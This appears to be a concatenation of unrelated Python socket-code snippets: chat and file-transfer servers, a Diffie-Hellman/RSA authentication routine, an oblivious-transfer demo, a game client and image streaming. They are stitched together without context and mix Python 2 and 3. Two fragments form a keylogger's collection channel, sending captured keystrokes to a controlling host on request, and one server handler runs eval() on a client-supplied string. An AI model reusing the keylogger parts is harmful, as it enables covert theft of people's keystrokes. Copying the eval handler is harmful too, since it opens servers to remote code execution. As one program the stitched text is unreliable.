def send(conn, addr, ms):
user_to = recv_msg(conn).decode()
context = recv_msg(conn).decode()
user_from = get_user_by_addr(addr, USERS)
if len(context) > MAX_MSG_LEN:
send_msg(
conn, "Massage is too long! Max length = {}!".format(
MAX_MSG_LEN).encode())
print(
"[-] '{}'({}) sended message of length {}!".format(
user_from, addr_to_str(addr)), len(context))
return False
if not user_from:
send_msg(conn, b"U aren't registered!")
print("[-] User isn't regitered!")
return False
if user_to not in USERS:
send_msg(conn, "User '{}' doesn't exist!".format(user_to).encode())
print("[-] There are not user '{}' in system!".format(user_to))
return True
ms.add_message(user_from, user_to, context)
send_msg(conn, b"Message added to storage!")
print("[+] Message ('{}') from '{}'({}) sent to '{}'".format(
context, user_from, addr_to_str(addr), user_to))
return True
def main():
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((sys.argv[1], 9999))
s.listen(10)
print("starting server...")
while True:
try:
while True:
sc, address = s.accept()
print("accepted " + str(address))
message = utils.recv_msg(sc)
parsed_message = parser.RequestMessageParser.parse(message)
handler_response = handler.RequestHandler.handle(parsed_message)
utils.send_msg(sc, handler_response)
sc.close()
s.close()
except Exception:
exc_type, exc_value, exc_traceback = sys.exc_info()
lines = traceback.format_exception(exc_type, exc_value, exc_traceback)
print(''.join('!! ' + line for line in lines))
def send_command(args, callback=lambda sock: print("Connected", sock)):
"""connects to the server and sends the command
:param args: this object is similar to the one parsed from the commandline,
contains "host" and "port" members
:param callback(sock, respjson): a function to call when connected to the server.
sock: Gets passed the socket object, the socket object at this point is already connected and is ready to send or recv.
:return the callback result
"""
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
print('connecting to server...', end='')
s.connect((args['host'], args['port'])) # connect
print('\rConnection established ')
args['auth'] = False
# setup IV
args['iv'] = secrets.token_bytes(16)
request_json = format_args_to_json(args)
# send the command/request json
send_msg(s, _string_to_bytes(request_json))
# check if server acknowledged the command
# (if resp is included in one of the success response codes)
resp = recv_msg(s)
resp_json = json.loads(_bytes_to_string(resp))
if resp_json['readystate'] in [202]:
res = callback(s)
send_msg(s, b'200') # send OK code
print('\nTransaction complete')
return res
def listen():
"""
Listens for incoming connection by the serber and sends him the keylog when requested. All encrypted.
"""
global CERT_FILE, connected, log
listener = socket.socket()
utils.set_keepalive(listener)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind(("", HOST_PORT))
listener.listen(1)
while True:
conn, _ = listener.accept()
connected = True
conn = ssl.wrap_socket(
sock=conn, ca_certs=CERT_FILE, cert_reqs=ssl.CERT_REQUIRED)
while True:
try:
if utils.recv_msg(conn) == "send file":
utils.send_msg(conn, log)
log = ""
except (socket.timeout, socket.error):
conn.close()
connected = False
break
listener.close()
def put(conn: socket, args=None):
# recv file from client and write to file
print('receiving file...')
client_data = AttrDict(json.loads(_bytes_to_string(recv_msg(conn))))
args.filename = os.path.join('files', args.filename)
data = client_data.data
if data is None:
print("Problem: data received is None")
print("got the file data!: {}Bytes".format(len(data)))
if not os.path.isdir('./files'):
os.mkdir('./files')
with open(args.filename, 'wb+') as file:
plaintext = args.cipherfunc(data=data,
key=args.key,
decrypt=True,
iv=client_data.iv)
file.write(plaintext)
print('recieved file:', args.filename)
if os.path.isfile(args.filename):
subprocess.Popen(r'explorer /select,"{}"'.format(args.filename))
def callback(conn: socket):
resp = recv_msg(conn)
filelist = json.loads(resp)
prettystr = '\n'.join(
['\t{} | \t{}'.format(i, file) for i, file in enumerate(filelist)])
print("List of server files:\n", prettystr)
return filelist
def callback(conn: socket):
# receive data
resp = json.loads(_bytes_to_string(recv_msg(conn)))
if 'file_index' in args and args['file_index'] == True:
args['filename'] = resp['filename']
del args['file_index']
if not os.path.isdir('./client_files'):
os.mkdir('./client_files')
filename = os.path.join('client_files', path_leaf(args['filename']))
if os.path.isdir(filename):
args['filename'] = os.path.join(args['filename'], resp['filename'])
# === done preparing filesystem ===
with open(filename, 'wb+') as f:
plaintext = args['cipherfunc'](data=resp['data'],
key=args['key'],
decrypt=True,
iv=resp['iv'])
f.write(plaintext)
if os.path.isfile(filename):
subprocess.Popen(r'explorer /select,"{}"'.format(filename))
def callback(conn: socket):
# receive data
resp = AttrDict(json.loads(_bytes_to_string(recv_msg(conn))))
if args.file_index:
args.filename = resp.filename
delattr(args, 'file_index')
if not os.path.isdir('./files'):
os.mkdir('./files')
filename = args.filename \
if args.filename.startswith('files') \
else os.path.join('files', args.filename)
if os.path.isdir(filename):
args.filename = os.path.join(args.filename, resp.filename)
# === done preparing filesystem ===
with open(filename, 'wb+') as f:
plaintext = args.cipherfunc(data=resp.data,
key=args.key,
decrypt=True,
iv=resp.iv)
f.write(plaintext)
if os.path.isfile(filename):
subprocess.Popen(r'explorer /select,"{}"'.format(filename))
def handler(conn, addr, ms):
try:
while True:
msg = recv_msg(conn)
print("[+] '{}' from {}".format(msg.decode(), addr_to_str(addr)))
if msg == b"register":
if not register(conn, addr):
break
elif msg == b"users":
get_users(conn, addr)
elif msg == b"logout":
logout(conn, addr, ms)
elif msg == b"send":
if not send(conn, addr, ms):
break
elif msg == b"receive":
receive(conn, addr, ms)
elif msg == b"sendall":
sendall(conn, addr, ms)
else:
break
except error:
print("[-] Can't read more from {}".format(addr))
except Exception as ex:
print("[-] Exception: {}".format(ex))
finally:
conn.close()
def put(conn: socket, args=None):
# recv file from client and write to file
print('receiving file...')
client_data = json.loads(_bytes_to_string(recv_msg(conn)))
args['filename'] = os.path.join('server_files', args['filename'])
data = client_data['data']
if data is None:
print("Problem: data received is None")
print("got the file data!: {}Bytes".format(len(data)))
if not os.path.isdir('./server_files'):
os.mkdir('./server_files')
filename = os.path.join('server_files', path_leaf(args['filename']))
print('iv=', client_data['iv'])
with open(filename, 'wb+') as f:
plaintext = args['cipherfunc'](data=data,
key=args['key'],
decrypt=True,
iv=client_data['iv'])
f.write(plaintext)
print('recieved file:', args['filename'])
if os.path.isfile(filename):
subprocess.Popen(r'explorer /select,"{}"'.format(args['filename']))
def main():
s = socket.socket()
s.connect((sys.argv[1], 9999))
req = create_request()
utils.send_msg(s, req)
resp = utils.recv_msg(s)
handler.ResponseHandler.handle(resp)
#print('received response: ' + resp.decode())
s.close()
def on_other_process(sock, model):
message = Texts.FromString(recv_msg(sock))
for text in message.texts:
logger.info(f"input: {text}")
results = Results(results=[
Result(**prediction) for prediction in model(list(message.texts))
])
logger.info("sending")
send_msg(sock, results.SerializeToString())
sock.close()
logger.info("done")
def send_command(args, callback=lambda sock: print("Connected", sock)):
"""connects to the server and sends the command
:param args: this object is similar to the one parsed from the commandline,
contains "host" and "port" members
:param callback(sock, respjson): a function to call when connected to the server.
sock: Gets passed the socket object, the socket object at this point is already connected and is ready to send or recv.
:return the callback result
"""
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
print('connecting to server...', end='')
s.connect((args.host, args.port)) # connect
print('\rConnection established ')
# random initialization vector
setattr(args, 'iv', secrets.token_bytes(16))
if not hasattr(args, 'cipherfunc'):
setattr(args, 'cipherfunc', CipherLib.none)
################
# serialize args
################
import copy
s_args = copy.deepcopy(vars(args))
for k, v in s_args.items():
if isinstance(v,
types.FunctionType): # functions get the name passed
s_args[k] = v.__name__
elif isinstance(v, bytes): # bytes get turned into strings
s_args[k] = _bytes_to_string(v)
s_args['cipher'] = s_args.get('cipherfunc', 'none')
del s_args['key'] # delete key (otherwise is sent in plaintext)
request_json = json.dumps(s_args)
print('Sending command: "{}"'.format(request_json))
# send the command/request json
send_msg(s, _string_to_bytes(request_json))
# check if server acknowledged the command
# (if resp is included in one of the success response codes)
resp = recv_msg(s)
resp_json = AttrDict(json.loads(_bytes_to_string(resp)))
if resp_json.readystate in [202]:
res = callback(s)
send_msg(s, b'200') # send OK code
print('\nTransaction complete')
return res
def recv_next_command(conn: socket, client_parser=None):
"""
waits for a command by the client, and returns the parsed args,
responds to the client with 202 and data on success
:param conn: socket connection
:return: client command arguments, or None if invalid command
"""
command_json = _bytes_to_string(recv_msg(conn))
print("received req:", command_json)
try:
#
#
#
client_args = { # extend defaults
'file_index': None,
'local': False,
'key': DEFAULT_KEY,
'cipher': 'none',
'filename': '',
'function': lambda x: None,
'iv': None,
}
client_args.update(json.loads(command_json)) # update
client_args = AttrDict(client_args)
# converting args (parsing strings to bytes and function names to functions)
client_args.cipherfunc = getattr(CipherLib, client_args.cipher)
client_args.iv = _string_to_bytes(client_args.iv)
client_args.function = eval(client_args.function)
# printing object:
import pprint
pp = pprint.PrettyPrinter(indent=4)
print('client_args received')
pp.pprint(vars(client_args))
#
server_resp = _string_to_bytes(
json.dumps({
'readystate': 202, # code "202" meaning (accepted)
}))
send_msg(conn, server_resp)
return client_args
except Exception as e:
print("ERROR executing command:", e)
return None
def run(self):
"""Check self.sock."""
while self.is_alive:
# if is receiving image or file, not check
while self.is_receiving:
time.sleep(0.1)
try:
message = utils.recv_msg(self.sock)
except BlockingIOError:
time.sleep(0.1)
continue
self.is_receiving = True
t = Thread(target=self.handle_receive_message,
args=(message, ),
daemon=True)
t.start()
def run(self):
try:
while True:
if not client_running: # el cliente ha salido y hay que matar el thread
break
ready = select.select([self.s], [], [], 5) # timeout de 5 segundos por si el cliente cierra (a lo bestia)
if ready[0]:
self.data = utils.recv_msg(self.s) # recibimos mensaje del servidor
if self.data:
self.process_data()
else: # el servidor devuelve None cuando se desconecta
break
self.server_response = True
except:
print sys.exc_info()
finally:
self.s.close() # cerramos el socket
sys.exit()
def recv_next_command(conn: socket, client_parser=None):
"""
waits for a command by the client, and returns the parsed args,
responds to the client with 202 and data on success
:param conn: socket connection
:return: client command arguments, or None if invalid command
"""
command_json = _bytes_to_string(recv_msg(conn))
print("received req:", command_json)
client_args = parse_command_json(command_json)
server_resp = _string_to_bytes(
json.dumps({
'readystate': 202, # code "202" meaning (accepted)
}))
send_msg(conn, server_resp)
return client_args
def register(conn, addr):
login = recv_msg(conn)
try:
login = login.decode()
except Exception:
send_msg(conn, b"Can't decode login!")
print("[-] Can't decode login!")
return False
if not login:
send_msg(conn, b"Bad login!")
print("[-] ({}) empty login!".format(addr_to_str(addr)))
return False
if len(login) > MAX_USER_LEN:
send_msg(conn, b"Login is too long!")
print("[-] ({}) Username '{}' is greater then {} chars!".format(
addr_to_str(addr), login, MAX_USER_LEN))
return False
if login not in USERS:
if addr[0] not in USERS.values():
USERS[login] = addr[0]
send_msg(conn, "Hello, {}".format(login).encode())
print("[+] '{}'({}) registered!".format(login, addr_to_str(addr)))
return True
else:
user = get_user_by_addr(addr, USERS)
send_msg(conn,
"{} was used before!".format(addr_to_str(addr)).encode())
print("[-] '{}'({}) used address of {}!".format(
login, addr_to_str(addr), user))
return False
elif USERS.get(login, "") == addr[0]:
send_msg(conn, "Nice to see you, {}".format(login).encode())
print("[+] '{}'({}) logined!".format(login, addr_to_str(addr)))
return True
else:
send_msg(conn, "'{}' already exists!".format(login).encode())
print("[-] '{}'({}) already exists!".format(login, addr_to_str(addr)))
return False
def run(self):
global connection_list
try:
while True:
self.data = utils.recv_msg(self.connection) # recibe datos del socket cliente
if self.data:
if type(self.data) == type(""): # si recibimos un string
self.chat()
elif self.data.vk == 1: # el cliente pulsa ESC
self.pop()
break
elif self.data.vk in [14, 15, 16, 17]: # el cliente pulsa movimiento
self.move()
else: # el cliente se ha desconectado (a lo bestia)
self.pop()
break
except:
print sys.exc_info()
finally:
global_queue.put({"type": "DELETE", "address": self.address})
self.connection.close() # cerrar la conexión con el cliente
sys.exit() # matamos el thread
def run(self):
"""Check every sock in self.server_socks."""
while array([sock is None for sock in self.socks.values()
]).any(): # someone haven't confirm
time.sleep(0.1)
while self.is_alive:
for key, sock in self.socks.items():
if self.is_receiving[key]:
continue
try:
message = utils.recv_msg(sock)
except BlockingIOError:
continue
self.is_receiving[key] = True
t = Thread(target=self.handle_receive_message,
args=(message, key),
daemon=True)
t.start()
def fetch_file(host, on_file_fetched, update_hosts):
"""
Fetch the keylog from a specified connected host
Args:
host: the IP of the host
on_file_fetched: callback after fetching the file
update_hosts: function to call to refresh the ui of the hosts in case the host disconnected
"""
global hosts
if host not in hosts.keys():
return
conn = hosts[host]
try:
utils.send_msg(conn, "send file")
file = utils.recv_msg(conn)
with open(host + ".log", "a", encoding="utf-8") as f:
f.write(file)
on_file_fetched(utils.Event(host=host, file=file))
except (socket.timeout, socket.error):
conn.close()
del hosts[host]
update_hosts(utils.Event(hosts=hosts.keys()))
import argparse
import socket
import sys
from message_pb2 import *
from utils import recv_msg, send_msg
parser = argparse.ArgumentParser()
parser.add_argument("--FILENAME",
type=str,
default="/tmp/py_server",
help="unix domain socket")
args = parser.parse_args()
texts = Texts(texts=[line.strip() for line in sys.stdin])
print(texts)
with socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) as s:
s.connect(args.FILENAME)
send_msg(s, texts.SerializeToString())
results = Results.FromString(recv_msg(s))
print(results)
def init_map(self):
self.clientMap = utils.recv_msg(self.clientSock)
self.clientMap.console = libtcod.console_new(self.clientMap.width, self.clientMap.height)
def authenticate(args, is_client=True, conn=None):
## setting up asymmetric key
# n, e, d, q, p = init_asym_key(is_client)
# pubkey = rsa.PublicKey(n, e)
# privkey = rsa.PrivateKey(n, e, d, q, p)
pubkey, privkey = rsa.newkeys(2048, poolsize=8)
## setting up Diffie Hellmen
# Alice is the client, Bob is the server
exp, g, m = init_DiffieHellman()
# g_x_mod_m = (g ** exp) % m
g_x_mod_m = exp_mod(g, exp, m)
if is_client:
name = "Alice"
else:
name = "Bob"
## Generating challenge
r_challenge = int_from_bytes(secrets.token_bytes(256 // 8)) # 256-b = 8-B
## setting args attrs
init_info = {
'r_challenge': r_challenge,
'name': name,
'g_x_mod_m': g_x_mod_m, # Diffie Hellman segment
'n': pubkey.n,
'e': pubkey.e,
}
name = _string_to_bytes(name)
if is_client:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as conn:
print('connecting to server...', end='')
conn.connect((args['host'], args['port'])) # connect
print('\rConnection established ')
if 'test' in args and args['test'] == 2:
privkey.d -= 1
##############
# send msg 1 #
##############
args['seq'] = 1
args['msg1'] = init_info
print('auth: sending auth command and msg1...:', list(args.keys()))
send_msg(conn, _string_to_bytes(format_args_to_json(args)))
# OK 200 response
resp = json.loads(_bytes_to_string(recv_msg(conn)))
if resp['readystate'] in [200]:
print(
"ERROR: server did not respond with OK 200, terminating session..."
)
return
##############
# recv msg 2 #
##############
msg2 = msg2args(recv_msg(conn))
assert msg2['seq'] == 2
print('auth: received msg 2:', list(msg2.keys()))
info_b = msg2['info']
name_b = _string_to_bytes(info_b['name'])
g_ab_mod_m = compute_dh_key(exp, info_b['g_x_mod_m'], m)
# assemble Bob's public key
pubkey_b = rsa.PublicKey(info_b['n'], info_b['e'])
## step 2
# H= h256(Alice, Bob, R A , R B , g a mod m, g b mod m, g ab mod m)
H = h256(name, name_b, r_challenge, info_b['r_challenge'],
g_x_mod_m, info_b['g_x_mod_m'], g_ab_mod_m)
## step 3 verificying secret
S_b_signature = msg2['S'].strip(b'\x00')
S_b = H + name_b
rsa.verify(S_b, S_b_signature, pubkey_b)
# build key
K = h256(g_ab_mod_m)
## destroy a:
print('destroying exponent a:', exp)
del exp
##############
# send msg 3 #
##############
S_a = H + name
S_a_signature = rsa.sign(S_a, privkey, 'SHA-256')
msg3_payload = name + S_a_signature
msg3_ciphertext = CipherLib.aes(msg3_payload, key=K)
msg3 = {
'seq': 3,
'payload': msg3_ciphertext,
}
print('auth: sending msg #3', list(msg3.keys()))
# sending E(Alice, S_A ,)
print('sending msg3:', msg3)
send_msg(conn, args2msg(msg3))
return K
else: # if server (Bob)
##############
# recv msg 1 #
##############
# changing key for testing, auth should fail
if 'test' in args and args['test'] == 1:
privkey.d -= 1
# client has already sent the stuff
msg1 = args['msg1']
assert args['seq'] == 1
print('auth: received msg1', list(msg1.keys()))
name_a = _string_to_bytes(msg1['name'])
g_ab_mod_m = compute_dh_key(exp, msg1['g_x_mod_m'], m)
# assemble Alice's public key
pubkey_a = rsa.PublicKey(msg1['n'], msg1['e'])
##############
# send msg 2 #
##############
# H = h 256 (Alice, Alice, R A , R B , g a mod m, g b mod m, g ab mod m)
H = h256(name_a, name, msg1['r_challenge'], r_challenge,
msg1['g_x_mod_m'], g_x_mod_m, g_ab_mod_m)
S_b = H + name
S_b_signature = rsa.sign(S_b, privkey, 'SHA-256')
K = h256(g_ab_mod_m)
# R_B , g b mod m, S B
# this was prepared in the beginning of this function (after init DH)
msg2 = {
'seq': 2,
'S': S_b_signature,
'info': init_info,
}
print('sending msg2:', msg2)
send_msg(conn, args2msg(msg2))
##############
# recv msg 3 #
##############
msg3_container = msg2args(recv_msg(conn))
assert msg3_container['seq'] == 3
msg3_ciphertext = msg3_container['payload']
msg3 = CipherLib.aes(msg3_ciphertext, decrypt=True, key=K)
## verifying secret
S_a_signature = msg3[len(name_a):].strip(b'\x00')
S_a = (H + name_a)
try:
rsa.verify(S_a, S_a_signature, pubkey_a)
except rsa.VerificationError as e:
print('AUTHENTICATION FAILED!! S_a did not match signature:\n',
S_a_signature, ' is not the signature of ', S_a)
return False
## destroy b:
print('destroying exponent b:', exp)
del exp
return K
def main():
"""
Step 1: Alice generates an RSA key pair PK=(n,e) and SK=(d) and generates two random values, r_0 and r_1, and sends them to Bob along with her PK
Step 2: Bob picks a bit b to be either 0 or 1, and selects r_b
Step 3: Bob generates a random value k and blinds r_b by computing 〖v=r〗_b+k^e mod n and send it to Alice
Step 4: Alice doesn't know which of r_0 and r_1 Bob chose.
She applies them both and come up with two possible values for k:k_0=(v−x_0 )^d mod n and k_1=(v−x_1 )^d mod n
Eventually,
one of these will be equal to k and can be correctly decrypted by Bob (but not Alice),
while the other will produce a meaningless random value that does not reveal any information about k
Step 5: Alice combines the two secret messages with each of the possible keys, m_0^′=m_0+k_0 and m_1^′=m_1+k_1, and sends them both to Bob
Step 6: Bob knows which of the two messages can be unblinded with k, so he is able to compute exactly one of the messages m_b=m_b^′−k
:return:
"""
parser = get_arg_parser()
print(DESCRIPTION + "\n")
args = parser.parse_args()
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
print('connecting to server...', end='')
s.connect((args.host, args.port)) # connect
print('\rConnection established ')
# recv public key
resp = recv_msg(s)
resp = json.loads(_bytes_to_string(resp))
alice_pubkey = rsa.PublicKey(resp['n'], resp['e'])
r_b_choices = list(map(_string_to_bytes, resp['r_b_choices']))
print('alice_pubkey', alice_pubkey)
print('r_b_choices', r_b_choices)
# Step 2: Bob picks a bit b to be either 0 or 1, and selects r_bs
r_b = int.from_bytes(r_b_choices[args.msg_index], 'big')
# Step 3: Bob generates a random value k and blinds r_b by computing 〖v=r〗_b+k^e mod n and send it to Alice
k = secrets.token_bytes(4)
k_int = int.from_bytes(k, 'big')
print('k=', k_int)
print('r_b=', r_b)
v = _string_to_bytes(str(alice_pubkey.blind(r_b, k_int)))
print('v=', v)
send_msg(s, v)
# Step 6: Bob knows which of the two messages can be unblinded with k, so he is able to compute exactly one of the messages m_b=m_b^′−k
resp6 = recv_msg(s)
resp6_str = _bytes_to_string(resp6)
print('resp6_str=', resp6_str)
combined_list = resp6_str.split(',')
combined_list = list(map(_string_to_bytes, combined_list))
f = Fernet(k)
# value = combined_list[args.msg_index] ^ k_int
value = f.decrypt(combined_list[args.msg_index])
print('the value is:', value)
if resp in [202]:
send_msg(s, b'200') # send OK code
print('\nTransaction complete')
def recv_msg(self, msg):
return recv_msg(self.socket, msg)
now = datetime.now().strftime('%y%m%d%H%M%S')
filename = './log/' + now + '.log'
fhandler = logging.FileHandler(filename, delay=True)
fformat = logging.Formatter(
'%(asctime)s::%(levelname)s::%(name)s - %(message)s')
fhandler.setFormatter(fformat)
fhandler.setLevel(logging.DEBUG)
applogger.addHandler(fhandler)
if __name__ == '__main__':
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(('192.168.0.47', 49152))
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
fig = plt.figure()
ax = fig.add_subplot(1, 1, 1)
try:
plt.ion()
for i in range(100):
data = recv_msg(s)
data = np.load(BytesIO(data), allow_pickle=True)
if i == 0:
im = ax.imshow(data)
else:
im.set_data(data)
plt.pause(0.1)
finally:
plt.ioff()
# generates n random values, r_0 and r_1, and sends them to Bob along with her PK
r_b_choices = [secrets.token_bytes(4) for i in range(args.n_msgs)]
json_string = json.dumps({
'e': pubkey.e,
'n': pubkey.n,
'r_b_choices': list(map(_bytes_to_string, r_b_choices)),
})
send_msg(conn, _string_to_bytes(json_string))
# Step 4: Alice doesn't know which of r_0 and r_1 Bob chose.
# She applies them both and come up with two possible values for k:k_0=(v−x_0 )^d mod n and k_1=(v−x_1 )^d mod n Eventually,
# one of these will be equal to k and can be correctly decrypted by Bob (but not Alice),
# while the other will produce a meaningless random value that does not reveal any information about k
resp4 = recv_msg(conn)
v = _bytes_to_string(resp4)
print('v=', v)
print('r_b_choices=', r_b_choices)
k_list = [privkey.unblind(v, int.from_bytes(r_b, 'big')) for r_b in r_b_choices]
print('k_list=', k_list)
# combining the message with the key: m' = m+k
# combined_msgs = [messages[i] ^ k_list[i] for i in range(args.n_msgs)]
print('before getting msgs')
combined_msgs = [Fernet(k_list[i]).encrypt(messages[i]) for i in range(args.n_msgs)]
print('after msg list')
combined_msgs = ','.join(list(map(_bytes_to_string, combined_msgs))) # serialized
print('sending combined_msgs:', combined_msgs)
# check and turn on TCP Keepalive
# x = s.getsockopt( socket.SOL_SOCKET, socket.SO_KEEPALIVE)
# if( x == 0):
# if args.verbose:
# print ("Socket Keepalive off, turning on")
# x = s.setsockopt( socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
# if args.verbose:
# print ("setsockopt=", x)
# else:
# if args.verbose:
# print ("Socket Keepalive already on")
s.listen()
while True:
conn, addr = s.accept()
try:
data = recv_msg(conn)
print("Received data", data)
if args.verbose:
# got incomping data
print("raw", data)
# no incoming data
if not data:
print("break")
break
elif data == b'killsrv':
if args.verbose:
print("terminate server")
conn.close()
sys.exit()
else:
out_json = latent_navigation(data)
def handle_receive_message(self, sock, address):
"""Handle received message, which maybe text, image or file.
This function will be called in multi-threading!
"""
ip, _ = address
decoded_message = utils.decode_message(utils.recv_msg(sock))
if decoded_message is None:
return
chat_name, port, message_type, sender_id, _, _ = decoded_message
# should only receive chat request or response in this function!
try:
assert message_type in [3, 4, 5, 6]
except AssertionError:
return
if message_type == 3: # private chat request
sender = self.get_user_via_id(sender_id)
if sender is None:
# other wants to start a private chat with me
sender = User(user_id=sender_id,
name=None,
ip=ip,
port=port,
icon=utils.get_icon())
self.update_user(sender, sock=sock)
else:
# the user exists but still want a new chat
# may because other deletes me and then add me back
pass
elif message_type == 4: # group chat request
chat = self.get_chat_via_name(chat_name)
if chat is None:
# other wants to start a group chat with me
user_ids = utils.get_id_from_chat_name(chat_name)
group_users = {}
for user_id in user_ids:
if user_id == self.me_user.user_id:
continue
exist_user = self.get_user_via_id(user_id)
if exist_user is None:
result = self.central_server_connector.search_user(
user_id)
if self.use_my_central_server:
exist_user = User(user_id=user_id,
name=None,
ip=result[0],
port=result[1],
icon=utils.get_icon())
else:
exist_user = User(user_id=user_id,
name=None,
ip=result,
port=config.GENERAL_PORT,
icon=utils.get_icon())
else:
exist_user = copy.deepcopy(exist_user)
group_users[user_id] = exist_user
chat = GroupChat(self.me_user,
group_users,
self.normal_chat_signals,
group_leader_id=sender_id,
sock=sock)
chat.start()
self.update_chat(chat)
t = Thread(target=chat.init_socks, daemon=True)
t.start()
else:
# group chat exists
pass
elif message_type == 5: # private chat response
# actually useless
pass
elif message_type == 6: # group chat response
# just update this sock to this group chat
chat = self.get_chat_via_name(chat_name)
if chat is None:
return
chat.update_server_sock(sock, sender_id)
